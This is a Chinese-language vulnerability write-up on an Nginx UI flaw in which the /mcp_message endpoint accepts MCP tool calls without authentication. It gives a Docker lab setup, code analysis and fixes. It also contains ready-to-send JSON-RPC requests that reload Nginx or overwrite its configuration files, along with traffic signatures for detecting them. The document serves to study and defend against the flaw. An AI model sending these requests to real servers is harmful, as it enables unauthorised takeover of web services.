0x0 背景介绍
Nginx UI是一个用于管理Nginx服务器的开源Web界面系统。
该组件的MCP(Model Context Protocol)集成模块在暴露 /mcp_message接口时,仅应用了IP白名单中间件而缺少身份验证。由于默认
IP白名单为空,中间件会将其解析为"允许所有",导致鉴权逻辑完全失效。
远程攻击者无需任何权限即可通过该接口调用所有MCP工具,执行重启Nginx、修改或删除 Nginx 配置文件等操作,从而实现对Nginx服务的完整接管。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
bash
#!/bin/bash
# 检查并安装依赖
if ! command -v curl &> /dev/null || ! command -v wget &> /dev/null; then
echo "[*] 安装依赖工具..."
apt update && apt install -y curl wget
fi
# 检查 Docker 是否安装
if ! command -v docker &> /dev/null; then
echo "[*] 未安装 Docker,请检查安装"
else
echo "[+] Docker 已安装"
fi
# 检查 Docker Compose 插件
if ! docker compose version &> /dev/null; then
echo "[-] Docker Compose 插件不可用,请检查安装"
exit 1
else
echo "[+] Docker Compose 插件可用"
fi
echo "[*] 阶段1/4:创建 Nginx UI 工作目录..."
mkdir -p ~/nginx-ui && cd ~/nginx-ui || { echo "[-] 创建目录失败"; exit 1; }
mkdir -p nginx logs data config
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/4:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
version: '3.8'
services:
nginx-ui:
image: uozi/nginx-ui:2.3.2
container_name: nginx-ui
restart: unless-stopped
ports:
- "80:80"
- "443:443"
- "9000:9000"
volumes:
- ./nginx:/etc/nginx
- ./logs:/var/log/nginx
- ./data:/data
- ./config:/etc/nginx-ui
environment:
- TZ=Asia/Shanghai
- NGINX_UI_IGNORE_DOCKER_SOCKET=true
EOF
echo "[+] docker-compose.yml 已生成"
echo "[*] 阶段3/4:启动 Docker 容器..."
docker compose pull
docker compose up -d
echo "[*] 等待服务启动(约30秒)..."
for i in {1..6}; do
echo -n "."
sleep 5
done
echo -e "\n[+] 容器已启动"
echo "[*] 检查 Nginx UI Web 服务是否就绪..."
RETRIES=0
MAX_RETRIES=12
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "200" ] || [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "302" ]; do
sleep 5
RETRIES=$((RETRIES+1))
if [ $RETRIES -ge $MAX_RETRIES ]; then
echo "[-] Nginx UI 服务未在规定时间内响应,请手动检查: docker compose logs"
exit 1
fi
echo -n "."
done
echo -e "\n[+] Nginx UI Web 服务已就绪 (HTTP 状态码 200/302)"
echo "=============================================="
echo " Nginx UI 2.3.2 部署完成!"
echo " - 访问管理界面: http://IP:9000"
echo " - 首次访问请完成安装向导"
echo ""
echo " - 配置文件目录: ~/nginx-ui/config"
echo " - Nginx 配置目录: ~/nginx-ui/nginx"
echo " - 日志目录: ~/nginx-ui/logs"
echo " - 数据目录: ~/nginx-ui/data"
echo ""
echo " - 容器管理命令:"
echo " docker compose up -d # 启动"
echo " docker compose down # 停止"
echo " docker compose logs -f # 查看日志"
echo "=============================================="
0x2 漏洞复现
- 复现思路围绕两个 MCP 端点展开:/mcp(SSE 流)与/mcp_message(消息投递端点)。路由层对两个端点都挂载了middleware.AuthRequired()-见 mcp/router.go,因此严格按当前代码构建时,不携带token或node_secret将得到403-见单测 mcp/router_test.go)
- 参考:
bash
https://github.com/Kai-One001/cve-/blob/main/Nginx-ui-cve-2026-33032.md
2.1 -场景 A:快速探测(确认是否"未授权可调用")
- 目标:用最小成本判断你的部署是否符合 CVE 描述的"/mcp_message 无需认证"。
- 发送一个空 body 的 POST,请求 /mcp_message:
bash
POST /mcp_message HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length:0
- 观察响应:
•若返回 403 且 body 类似 {"message":"Authorization failed"}:
说明至少存在认证拦截(与 middleware.AuthRequired() 行为一致)。
•若返回 200 / 4xx 但不是鉴权失败,且服务端产生 MCP 协议相关错误:
高度可疑,继续用 2.2/2.3 的"工具调用"确认是否能执行高危操作。
2.2-场景B:低版本创建文件利用


2.2-场景C: Nginx 重载(爆发点最短链路)
bash
POST /mcp_message HTTP/1.1
Host:<target>
Content-Type: application/json
{
"jsonrpc":"2.0",
"id":1,
"method":"tools/call",
"params":{
"name":"reload_nginx",
"arguments":{}
}
}
流量特征:
bash
•路径:/mcp_message
•方法:POST
•内容类型:application/json
•关键字段:"method":"tools/call" + "name":"reload_nginx"
2.3-场景D:修改既有配置文件(nginx_config_modify)
工具定义见 mcp/config/config_modify.go:它将 relative_path 解析为绝对路径,校验文件存在后写入新内容。
bash
POST /mcp_message HTTP/1.1
Host: <target>
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "<relative_path>",
"content": "<new_content>",
"sync_overwrite": true,
"sync_node_ids": []
}
}
}
流量特征:
-
"name":"nginx_config_add" / "name":"nginx_config_modify"
-
"arguments" 中出现 "content"(Nginx 配置正文),通常体积较大且包含 server { ... }、location 等关键字
2.4-区别验证:版本进行验证结果
-
2.3.6版本即使获取seesion也失败

-
2.3.5和2.3.6直接请求接口结果一样,但是2.3.5获取seesion还是可以利用的

-
再往下第一个版本直接去请求接口会提示seesion问题,不会提示认证

2.5-复现流量特征 (PCAP)
-
截取的成功利用的流量,带认证获取seesion

-
后续无认证也可以进行操作接口

0x3 漏洞原理分析
3.0-[架构与模块定位] MCP 链路的入口层、逻辑层与危险操作面
本次分析是2.3.5版本:MCP 模块并不是"独立的一套 API",它更像是一条把 HTTP 请求 转换为 工具调用(Tool Call) 的通道:
bash
•入口层(HTTP 暴露面):
Gin 路由把 /mcp 与 /mcp_message 暴露出来,并决定它们是否经过白名单/认证。
•逻辑层(协议适配层):
internal/mcp/server.go 将 HTTP 请求交给 mcp-go 的 SSE/Message 服务器去解析、分发。
•驱动层(工具执行):
mcp/config/*、mcp/nginx/* 注册的工具 handler 最终落到文件系统写入、Nginx reload/restart 等操作。
涉及核心文件(按漏洞层面职责划分非业务):
涉及核心文件(按漏洞层面职责划分非业务):

小知识:
bash
· MCP 双端点与会话机制:
Nginx UI 的 MCP 集成采用 SSE(Server-Sent Events) 模型,包含两个互补的 HTTP 端点:
•/mcp:
负责建立会话(SSE 流),返回一个临时 sessionId。在漏洞版本中,能预测的node_secret 绕过认证(即"未授权获取 sessionId")。
•/mcp_message:
主要是接收具体的工具调用请求(JSON-RPC),必须携带有效的 sessionId 作为查询参数。
3.1-[核心入口] 从路由锁定 MCP 暴露面
未授权真的耽搁了好久,一直发现有理解误差哎,第一步是直接去找 MCP 的路由注册点,看它到底把哪些 HTTP 入口暴露给外界。
在router/routers.go里发现 MCP 路由在全局引擎初始化时被无条件挂载:
go
// router/routers.go
mcp.InitRouter(r)
顺着进入mcp/router.go,这里把两个端点明确地注册到了Gin:
go
// mcp/router.go
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
mcp.ServeHTTP(c)
})
- 边界很清晰:MCP能做 "改配置 / 重载 / 重启",所以它至少应该被 认证(AuthRequired)和 来源限制(IPWhiteList)包住。
该漏洞的核心冲突点也在这里:如果实际环境中里存在某个构建 / 分支让/mcp_message缺失AuthRequired(),那就理论上攻击者可以绕过认证,直接把 "工具调用" 投递进来。
3.2-[逻辑缺陷] "默认白名单为空" 在实现上等价于 "放行所有人"
接着往下看,从路由转移到 "它依赖的最后一道门":middleware.IPWhiteList()在白名单逻辑的第一段判断值得关注:
go
// internal/middleware/ip_whitelist.go
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
- 预期设计:IP白名单是一道 "额外收口" 的边界,理想状态应是 "默认拒绝,显式放行"。
- 实际实现:len(IPWhiteList)==0 时直接Next()------ 默认白名单为空的情况下,它不是 "没人被允许",而是 "所有人都被允许"
其实逻辑本身也没啥问题(很多产品会用 "空 = 不启用限制" 的语义),但它会在一个特定条件下出现了问题:当某个高危入口 "只剩它这一道门" 时,空白名单就等价于裸奔
正因如此CVE描述里 "/mcp_message 仅应用 IP白名单" 会造成质变 ------ 因为IPWhiteList()在默认配置下并不构成约束。
3.3-[攻击链路] 一旦消息端点失守,MCP 工具就是 "远程运维超能力"
接着就是证明 "失守会造成什么结果",继续沿着mcp.ServeHTTP()往下追,看看它最终把请求交给了谁。
在internal/mcp/server.go里,MCP采用mcp-go的SSE/Message双端点模型:
go
// internal/mcp/server.go
sseServer = server.NewSSEServer(
mcpServer,
server.WithSSEEndpoint("/mcp"),
server.WithMessageEndpoint("/mcp_message"),
)
func ServeHTTP(c *gin.Context) {
sseServer.ServeHTTP(c.Writer, c.Request)
}
- 这解释了为什么CVE特别强调 "两个端点":/mcp 负责建立会话,/mcp_message负责投递工具调用消息。
- 在这种模型下,如果消息端点未被认证保护,攻击者甚至不需要完整模拟前端 /Agent,只要能构造出 tools/call类请求,就能直接触发后端工具执行。
- 下面就是挖掘下能造成什么影响,在mcp/nginx/reload.go与mcp/nginx/restart.go找到了两个最直观操作:
go
// mcp/nginx/reload.go
const nginxReloadToolName = "reload_nginx"
func handleNginxReload(...) (*mcp.CallToolResult, error) {
output, err := nginx.Reload()
...
}
// mcp/nginx/restart.go
const nginxRestartToolName = "restart_nginx"
func handleNginxRestart(...) (*mcp.CallToolResult, error) {
nginx.Restart()
...
}
- 更关键的是配置文件写入能力。在mcp/config/config_add.go中,工具会直接落到文件系统写入,并且写完立即 reload:
go
// mcp/config/config_add.go
err = os.WriteFile(path, []byte(content), 0644)
...
res := nginx.Control(nginx.Reload)
- 以及mcp/config/config_modify.go中对既有配置的覆盖写入:
go
// mcp/config/config_modify.go
absPath, err := config.ResolveAbsoluteOrRelativeConfPath(relativePath)
...
err = config.Save(absPath, content, cfg)
- 预期边界:这些工具本质上等价于 "远程root级运维接口"(至少在Nginx管理维度上),合理的边界应当是:强认证 + 强来源限制 + 最小权限(分工具授权)+ 审计。
- 现实实现:工具层本身几乎不做权限判定;它把所有安全假设都押在 "HTTP入口一定会被认证 / 白名单正确保护" 上。
- 一旦/mcp_message端点出现 "少挂一个中间件" 的工程性失误,攻击者拿到的不是一个普通API,而是一整套 可写配置 + 可触发
reload/restart的接管能力。
3.4 [链路总结] 从 "注入点" 到 "爆发点" 的完整调用链
以/mcp_message 缺失认证,仅IP白名单;且白名单默认为空放行 叙述中的缺口为前提,完整链路可以被还原为:
bash
`HTTP POST /mcp_message`(**注入点:未认证消息投递**)
-> `router`:`mcp.InitRouter()`
-> `middleware.IPWhiteList()`(**空白名单直接放行**)
-> `mcp.ServeHTTP()`(`internal/mcp/server.go`)
-> `mcp-go SSEServer` 解析消息(method: `tools/call`)
-> `mcpServer.AddTool(...)` 注册的工具 handler
-> `handleNginxConfigAdd/Modify` 写入配置(**爆发点:文件系统变更**)
-> `nginx.Control(nginx.Reload)` / `handleNginxReload`(**爆发点:配置立即生效**)
-> Nginx 服务配置面被完全接管
- 补充:在 "当前代码快照" 的安全边界里,AuthRequired()还提供了 node_secret 这一条认证通路(internal/middleware/middleware.go):
go
// internal/middleware/middleware.go
if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
...
c.Next()
return
}
- 并且settings.NodeSettings.Secret在为空时会自动生成随机UUID并写回配置(internal/kernel/boot.go::InitNodeSecret)。
- 这意味着:只要认证中间件确实挂载生效,攻击者无法靠 "默认空 secret" 绕过。
0x4 修复建议
1、升级最新版本:将组件升级最新版本2.3.6
bash
https://github.com/0xJacky/nginx-ui
2、临时防护措施:
-
限制访问:在Nginx / 反代层对/mcp与 /mcp_message 做强制收口,仅允许管理网段访问,避免直接暴露到公网或非受控网段
-
防火墙拦截:配置规则,拦截对模块异常的请求(^/(mcp|mcp_message)$ ),关注body 关键字,对未携带 token/node_secret 的请求直接阻断
-
白名单配置:明确配置 settings.AuthSettings.IPWhiteList 为你的运维出口 IP 列表(不要保持空值)。因为 IPWhiteList() 的实现语义是 "空 = 不限制"。
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。